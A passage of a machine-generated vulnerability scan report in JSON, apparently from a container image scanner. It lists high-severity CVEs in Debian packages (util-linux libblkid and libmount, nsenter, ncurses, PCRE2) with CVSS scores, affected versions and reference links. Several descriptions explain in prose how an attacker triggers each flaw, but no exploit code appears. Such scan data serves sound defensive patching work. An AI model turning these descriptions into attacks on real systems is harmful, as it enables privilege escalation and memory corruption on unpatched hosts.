utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "84ccd0371833b76" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:79438c1806ca6ba98e206736c4c62f298b2fd725c6ba58aeb87fcd0f07a1f3e7", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "84ccd0371833b76" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:21f033ff48e4dacda2e8e0d3827ce801b32efd7192899bee44e66cdc5ddf322c", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "84ccd0371833b76" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5c04fce40fe7fa81895d487f775e6695c3e25b8e93d419a9a4fe090a9eec2f7a", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.6", "UID": "84ccd0371833b76" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:852dde44572f4134166ca2bb28bacd5d252ff05e06c40896418530a251e3a491", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2025-69720", "PkgID": "libncursesw6@6.5+20250216-2", "PkgName": "libncursesw6", "PkgIdentifier": { "PURL": "pkg:deb/debian/libncursesw6@6.5%2B20250216-2?arch=amd64\u0026distro=debian-13.6", "UID": "c7a5d333a8ad931e" }, "InstalledVersion": "6.5+20250216-2", "Status": "affected", "Layer": { "DiffID": "sha256:801c4088600fc9b873e1c1e87708adfce646f06b31d533588ee4781bc917b8ed" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69720", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:54925b9e853a1ff9517e525efd966de50e49b94bb831e89641f5b43b169265c9", "Title": "ncurses: ncurses: Buffer overflow vulnerability may lead to arbitrary code execution.", "Description": "The infocmp command-line tool in ncurses before 6.5-20251213 has a stack-based buffer overflow in analyze_string in progs/infocmp.c.", "Severity": "HIGH", "CweIDs": [ "CWE-121", "CWE-120" ], "VendorSeverity": { "alma": 2, "azure": 4, "cbl-mariner": 4, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:5913", "https://access.redhat.com/security/cve/CVE-2025-69720", "https://bugzilla.redhat.com/2449037", "https://bugzilla.redhat.com/show_bug.cgi?id=2449037", "https://cert-portal.siemens.com/productcert/html/ssa-253495.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69720", "https://errata.almalinux.org/10/ALSA-2026-5913.html", "https://errata.rockylinux.org/RLSA-2026:5913", "https://github.com/Cao-Wuhui/CVE-2025-69720", "https://github.com/advisories/GHSA-9952-mrqj-h4jh", "https://invisible-island.net/archives/ncurses/6.5", "https://invisible-island.net/archives/ncurses/6.5/", "https://invisible-island.net/ncurses", "https://invisible-island.net/ncurses/", "https://linux.oracle.com/cve/CVE-2025-69720.html", "https://linux.oracle.com/errata/ELSA-2026-5913.html", "https://marc.info/?l=ncurses-bug\u0026m=176539968328570\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176540731801330\u0026w=2", "https://marc.info/?l=ncurses-bug\u0026m=176545557728083\u0026w=2", "https://nvd.nist.gov/vuln/detail/CVE-2025-69720", "https://ubuntu.com/security/notices/USN-8503-1", "https://www.cve.org/CVERecord?id=CVE-2025-69720" ], "PublishedDate": "2026-03-19T15:16:21.293Z", "LastModifiedDate": "2026-06-17T10:00:50.423Z" }, { "VulnerabilityID": "CVE-2026-103111", "VendorIDs": [ "DSA-6530-1" ], "PkgID": "libpcre2-8-0@10.46-1~deb13u1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.46-1~deb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "aa7e3a6ab471d889" }, "InstalledVersion": "10.46-1~deb13u1", "FixedVersion": "10.46-1~deb13u3", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-103111", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d0ca16c30a3156d78c8bbb05353447e1d9b802df4bdfaba150fc796d08aeeb12", "Title": "pcre2: pcre2: Out-of-bounds write via crafted regular expression", "Description": "PCRE2 before 10.49, when there is an attacker-controlled regular expression and certain JIT API usage, allows an out-of-bounds write with arbitrary data.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L", "V3Score": 7.6 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-103111", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-r9hj-j2rw-4q3m", "https://linux.oracle.com/cve/CVE-2026-103111.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://lists.debian.org/debian-lts-announce/2026/10/msg00008.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-103111", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-103111" ], "PublishedDate": "2026-09-30T05:16:45.863Z", "LastModifiedDate": "2026-10-04T00:16:35.563Z" }, { "VulnerabilityID": "CVE-2026-86145", "PkgID": "libpcre2-8-0@10.46-1~deb13u1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.46-1~deb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "aa7e3a6ab471d889" }, "InstalledVersion": "10.46-1~deb13u1", "FixedVersion": "10.46-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-86145", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:02b178e3a88fd7d0c237b1c908b7134df97dc8a1dd97259f52c9d6956d457cff", "Title": "pcre2: PCRE2: Out-of-bounds write allows arbitrary code execution via crafted regular expressions", "Description": "PCRE2 before 10.48 allows a pcre2_dfa_match out-of-bounds write because reuse of a cached workspace block, in a recursive DFA matching workspace, lacks a size check (even though a newly allocated block, for the same purpose, does have a size check). This outcome requires an attacker-controlled regular expression, or a recursive pattern in conjunction with a small heap limit (this can be set through the API).", "Severity": "HIGH", "CweIDs": [ "CWE-424" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "V3Score": 8.2 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "http://www.openwall.com/lists/oss-security/2026/09/05/3", "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-86145", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-3r4p-g7gg-ppmf", "https://github.com/bottlerocket-os/bottlerocket-core-kit/blob/develop/advisories/17.1.0/BRSA-xqvt0yt0g9rb.toml", "https://github.com/bottlerocket-os/bottlerocket/security/advisories/GHSA-3r4p-g7gg-ppmf", "https://linux.oracle.com/cve/CVE-2026-86145.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-86145", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-86145" ], "PublishedDate": "2026-09-05T06:17:10.37Z", "LastModifiedDate": "2026-09-09T16:04:24.933Z" }, { "VulnerabilityID": "CVE-2026-89157", "PkgID": "libpcre2-8-0@10.46-1~deb13u1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.46-1~deb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "aa7e3a6ab471d889" }, "InstalledVersion": "10.46-1~deb13u1", "FixedVersion": "10.46-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89157", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8f9407825c1f955cf5a43772208fa061e54170b9fd8876706f5d36c7ec97a710", "Title": "pcre2: PCRE2: Out-of-bounds write via large pattern input", "Description": "PCRE2 before 10.48, on 32-bit platforms, has a pcre2_pattern_convert out-of-bounds write when an attacker can provide a large pattern.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L", "V3Score": 5.7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-89157", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", 